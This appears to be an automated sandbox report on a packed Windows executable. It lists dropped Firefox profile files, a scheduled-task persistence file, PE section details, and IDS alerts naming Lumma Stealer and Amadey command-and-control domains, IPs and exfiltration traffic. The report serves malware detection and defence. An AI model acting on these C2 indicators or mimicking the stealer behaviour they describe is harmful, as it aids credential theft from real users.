MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07332591664048393
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkiw:DLhesh7Owd4+ji
MD5:	813464F720F852C2049E0571258D4DE1
SHA1:	D72E531631BA73600E64075397AE4EC9BF80802A
SHA-256:	EC925EB3C25DA649613FE261D5BF2CB1599C921DBA00F717C0BB43DD007BD082
SHA-512:	DB437EDA490ECE690AB99493FFF611CC648869039EF8554C8D98AC4B6414F9A5D357E31FFA1CEA497506DD241D0A2A59D6674A6796BC824F5B7A0F5412C53A92
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03690613113897563
Encrypted:	false
SSDEEP:	3:GtlvVgTc5PGJOmGHYtlvVgTc5PGJOmel/ldlL9//2ltltl:GtYQ1GJOmG4tYQ1GJOmeth9XCt1
MD5:	27E08FBC708EAA50C18F4D03F04641FA
SHA1:	DE193555C414F4D5B8DC8B46AEDC6DB1320663FC
SHA-256:	C10EF1A924C55E5DAE3415752A8758E2DF444B6E37D76E296784482CE0EC9C86
SHA-512:	CD120B6FB093E2E8F93F54784363B7B278C3C5ACE8C903D9BC6F9169BEC2BE692DE3DAFC1F9FAF674D54985173ACE392D7810558B062DB079B8A85C5B533AF1A
Malicious:	false
Preview:	..-........................V.......Z[.h>W+..$-...-........................V.......Z[.h>W+..$-.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	65616
Entropy (8bit):	0.03477663894282433
Encrypted:	false
SSDEEP:	3:Ol1XwVgfqk06xlia7l8rEXsxdwhml8XW3RTfq/yZ9h7l8rEXsxdwhml8XW3R2:K+Gx4wl8dMhm93Hl8dMhm93w
MD5:	1E3CB5C3E812E2C62DE9F5FFC81B1649
SHA1:	B72B913D891AA23BBE578ABAF6CE85F50333AF24
SHA-256:	6E54147638231DFCEDE900A4D48CD943B096FAC8B57F8ADCD1D19267FAAB723C
SHA-512:	78D9404398621F3118E611C3F6FF68CB910AFBFBE0E1ABD6A18968B88D781E274FCF6267CDB6B1B75228FC4628A9C5E25DE952DD737327A5B7E2E52FE5A9E69D
Malicious:	false
Preview:	7....-.............Z[.h>0.."'p."...........Z[.h>......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.469682078289575
Encrypted:	false
SSDEEP:	192:bnPOeRnLYbBp69J0aX+H6SEXKKN2l5RHWNBw8d2Sl:bDesJUadqHEwD0
MD5:	22AB18208E97AABA57E6FECF86B181B7
SHA1:	421AEA3BD767129CCE9C783AA322226D5E8D2E1B
SHA-256:	872382EE47F211F56AA94BEC5011DCCE1F89290236301720987290AE0A5377C0
SHA-512:	FC96F640EFDB33CDAA82EC64C5D9DCCD2FF29C216777F261E275BA0B5D295AED24672C9EA3CAA457E1070D49C3ADC5FEFEDCB6B29ADED23F8031239BEFB26EB1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730328186);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.469682078289575
Encrypted:	false
SSDEEP:	192:bnPOeRnLYbBp69J0aX+H6SEXKKN2l5RHWNBw8d2Sl:bDesJUadqHEwD0
MD5:	22AB18208E97AABA57E6FECF86B181B7
SHA1:	421AEA3BD767129CCE9C783AA322226D5E8D2E1B
SHA-256:	872382EE47F211F56AA94BEC5011DCCE1F89290236301720987290AE0A5377C0
SHA-512:	FC96F640EFDB33CDAA82EC64C5D9DCCD2FF29C216777F261E275BA0B5D295AED24672C9EA3CAA457E1070D49C3ADC5FEFEDCB6B29ADED23F8031239BEFB26EB1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730328186);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 8, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	BB6AF1BFE7DFA2D3D28DCA9C1D5C209F
SHA1:	D216BA7AF17521E30A8FFA1E5804827E6995F8D3
SHA-256:	4154A056F32C1395703E6842800E3987C035290F0B5EFAE666DC2DA978391563
SHA-512:	DC6946DE516315407B216C3C3945D820C3D2CA70C6ADE66BC96439CD304E7AF08FB5DBF17F1DD21E299FB3348E1C5F92FD64892FBF13C8FC002A10FEB6AD107B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.029855244353265
Encrypted:	false
SSDEEP:	96:ycZMTEr5/lLmI2Ac1zzcxvbw6Kkgmc2Rn27:ETEr5NX0z3DmRe
MD5:	6E67D9C20A682F5BB79D886AC6A1FFFA
SHA1:	AEC6D399A2AB8B70A236330722A26C6798A88845
SHA-256:	F04A05A918815E32C4EE533C91CB7719A7EC4F91A4CC4578A81528747CAE0FBB
SHA-512:	EAE8CCFB926B2A50C5A9C86BD35643B57633B0C114550020ADE695F84B00C1D5F329A4E69B005ED95E9D1E978F40BF81A560A462DE93E80D1730C1005AF8C231
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T22:43:08.377Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.029855244353265
Encrypted:	false
SSDEEP:	96:ycZMTEr5/lLmI2Ac1zzcxvbw6Kkgmc2Rn27:ETEr5NX0z3DmRe
MD5:	6E67D9C20A682F5BB79D886AC6A1FFFA
SHA1:	AEC6D399A2AB8B70A236330722A26C6798A88845
SHA-256:	F04A05A918815E32C4EE533C91CB7719A7EC4F91A4CC4578A81528747CAE0FBB
SHA-512:	EAE8CCFB926B2A50C5A9C86BD35643B57633B0C114550020ADE695F84B00C1D5F329A4E69B005ED95E9D1E978F40BF81A560A462DE93E80D1730C1005AF8C231
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T22:43:08.377Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4118285046152286
Encrypted:	false
SSDEEP:	6:pgxX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0l1ut0:pgNuQ1CGAFifXVct0
MD5:	336AE45718A6EDD56B9535E30ECF031D
SHA1:	764B6832AF123DA9E16DFCFD658B58E5753C39CA
SHA-256:	2A55497462DCE068ED649AAABAB569EEB9FACAC951E77DC8AC3B6A77CA0CE635
SHA-512:	A2D4EEC3BED55564763C4A856C1C69AE165DCD77D0EC5A629C3B14829CD825182FC42630706E827DEFAEAC5848BE54B129FE5116163968F4E72D8B4E95B2F950
Malicious:	false
Preview:	....(..&.BPF.,... .F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................8.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.510590319217561
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'985'984 bytes
MD5:	c12612c3792dee7b90e2d01ca6e32d2d
SHA1:	acf86245216963952d03d263b99b8ba460fc8a0e
SHA256:	536df35d391272dc912f4f4b37dd7551ea2e549a1e8b3dab20c411c1c8afb7ef
SHA512:	0064be7f38cd2d21e9cac799196635773e00bebf2d6784081a364f669acaf834b24a8f696c8bb40dc456a7467cf6ce8b6d2fff7d944bf07101e604c5a39303fd
SSDEEP:	49152:3suK6AaJ4iCTOGR8hmhTBBzJvh4Pb1NS1lLg3+V:3RAaJLCTOGROmXBdvhMS15Y
TLSH:	95D54BA2B50576CFDCAE3678B26BCD829A1D42F94B1505C3A86C74FA7FA3CC015B5C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0......s....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007EFDB891894Ah
movd mm5, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	94f3849e2a7fd1ef9248be61f639ec1a	False	0.9980713655956113	data	7.981161103585447	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
waasbvbn	0x5b000	0x2ae000	0x2ad600	3523c22359ad716f70cb01ee707cfc6e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tkrpbqpe	0x309000	0x1000	0x400	ce4f9851a94ae654b18d5ea8768cf291	False	0.8349609375	data	6.32351393382516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30a000	0x3000	0x2200	bec732d7c8c6af53b62b9ad4aeba5b4f	False	0.05583639705882353	DOS executable (COM)	0.662977338817198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T21:55:07.249467+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	59329	1.1.1.1	53	UDP
2024-10-30T21:55:07.266413+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	49432	1.1.1.1	53	UDP
2024-10-30T21:55:07.280284+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	59031	1.1.1.1	53	UDP
2024-10-30T21:55:07.294207+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	51711	1.1.1.1	53	UDP
2024-10-30T21:55:07.306968+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	53590	1.1.1.1	53	UDP
2024-10-30T21:55:07.965622+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-30T21:55:08.462450+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-30T21:55:08.462450+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-30T21:55:09.192023+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-30T21:55:09.725209+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-30T21:55:09.725209+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-30T21:55:10.685628+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49706	188.114.96.3	443	TCP
2024-10-30T21:55:11.967527+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49707	188.114.96.3	443	TCP
2024-10-30T21:55:13.496602+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49708	188.114.96.3	443	TCP
2024-10-30T21:55:15.073097+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49709	188.114.96.3	443	TCP
2024-10-30T21:55:15.583911+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	188.114.96.3	443	TCP
2024-10-30T21:55:16.720406+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49710	188.114.96.3	443	TCP
2024-10-30T21:55:16.736929+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49710	188.114.96.3	443	TCP
2024-10-30T21:55:19.049456+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-10-30T21:55:19.508714+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-10-30T21:55:20.421608+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49712	185.215.113.16	80	TCP
2024-10-30T21:56:05.446755+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50176	185.215.113.43	80	TCP
2024-10-30T21:56:08.837338+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50196	185.215.113.16	80	TCP
2024-10-30T21:56:17.241541+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50190	TCP
2024-10-30T21:56:17.317609+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	59738	1.1.1.1	53	UDP
2024-10-30T21:56:17.333820+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	50205	1.1.1.1	53	UDP
2024-10-30T21:56:17.348584+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	51829	1.1.1.1	53	UDP
2024-10-30T21:56:17.361444+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	58736	1.1.1.1	53	UDP
2024-10-30T21:56:18.000209+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50232	188.114.96.3	443	TCP
2024-10-30T21:56:18.165627+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50231	185.215.113.43	80	TCP
2024-10-30T21:56:18.903960+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50232	188.114.96.3	443	TCP
2024-10-30T21:56:18.903960+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50232	188.114.96.3	443	TCP
